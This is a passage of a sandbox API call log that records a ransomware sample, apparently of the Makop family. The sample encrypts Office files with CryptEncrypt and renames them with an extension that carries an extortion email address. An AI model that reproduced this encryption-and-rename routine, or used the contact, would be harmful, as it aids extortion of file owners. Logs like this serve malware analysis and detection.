CloseHandle (hObject=0xf0) returned 1 [0090.701] GetFileType (hFile=0x138) returned 0x1 [0090.701] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.702] CloseHandle (hObject=0x138) returned 1 [0090.702] GetFileType (hFile=0xf0) returned 0x1 [0090.702] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0090.703] CloseHandle (hObject=0xf0) returned 1 [0090.703] GetFileType (hFile=0x138) returned 0x1 [0090.703] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0090.705] CloseHandle (hObject=0x138) returned 1 [0090.705] GetFileType (hFile=0xf0) returned 0x1 [0090.705] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.706] CloseHandle (hObject=0xf0) returned 1 [0090.706] GetFileType (hFile=0x138) returned 0x1 [0090.707] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0090.707] CloseHandle (hObject=0x138) returned 1 [0090.708] GetFileType (hFile=0xf0) returned 0x1 [0090.708] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0090.709] CloseHandle (hObject=0xf0) returned 1 [0090.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.728] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0090.729] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0090.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0090.731] GetProcessHeap () returned 0x48a0000 [0090.731] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0090.731] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0090.731] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0090.731] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0090.731] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0090.731] GetProcessHeap () returned 0x48a0000 [0090.732] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0090.732] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0090.732] CryptDestroyKey (hKey=0x48c7128) returned 1 [0090.732] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0090.736] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0090.736] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0090.736] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0090.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0090.736] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0090.736] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0090.736] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0090.737] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.737] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdb50, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xdb50, lpOverlapped=0x0) returned 1 [0090.739] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdb50, dwBufLen=0xdb50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdb50) returned 1 [0090.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.739] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdb50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xdb50, lpOverlapped=0x0) returned 1 [0090.740] CryptDestroyKey (hKey=0x48c7128) returned 1 [0090.740] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdc14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.740] SetEndOfFile (hFile=0xf0) returned 1 [0090.748] GetProcessHeap () returned 0x48a0000 [0090.748] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0090.748] GetProcessHeap () returned 0x48a0000 [0090.748] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0090.748] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0090.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0090.749] CloseHandle (hObject=0xf0) returned 1 [0090.749] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0090.750] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0090.750] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0090.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.750] GetLastError () returned 0x20 [0090.750] GetProcessHeap () returned 0x48a0000 [0090.750] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x100000) returned 0x6780020 [0090.750] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x6780020, Length=0x100000, ResultLength=0x0 | out: SystemInformation=0x6780020, ResultLength=0x0) returned 0x0 [0090.920] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.920] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.921] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.921] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.921] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.921] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.922] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.922] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.922] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.922] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.922] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.923] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.923] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.923] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.923] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.924] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.924] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.924] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.924] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.924] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.925] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.925] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.925] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.925] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.926] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.926] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.926] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.926] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.927] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.927] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.927] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.927] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.928] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.928] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.928] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.928] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.928] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.929] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.929] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.930] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.930] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.930] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.930] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.931] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.931] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.931] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.931] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.932] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.932] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.932] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.932] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.932] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.933] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.933] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.933] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.933] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.934] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.934] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.934] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.934] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.934] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.935] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.935] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.935] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.935] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.936] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.936] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.936] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.937] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.937] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.937] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.937] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.938] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.938] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.938] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.938] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.938] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.939] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.939] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.939] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.940] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.940] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.940] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.940] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.941] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.941] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.941] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.941] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.942] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.942] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.942] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.942] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.943] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.943] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.943] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.943] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.943] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.944] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.944] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.944] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.944] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.948] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.948] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.963] 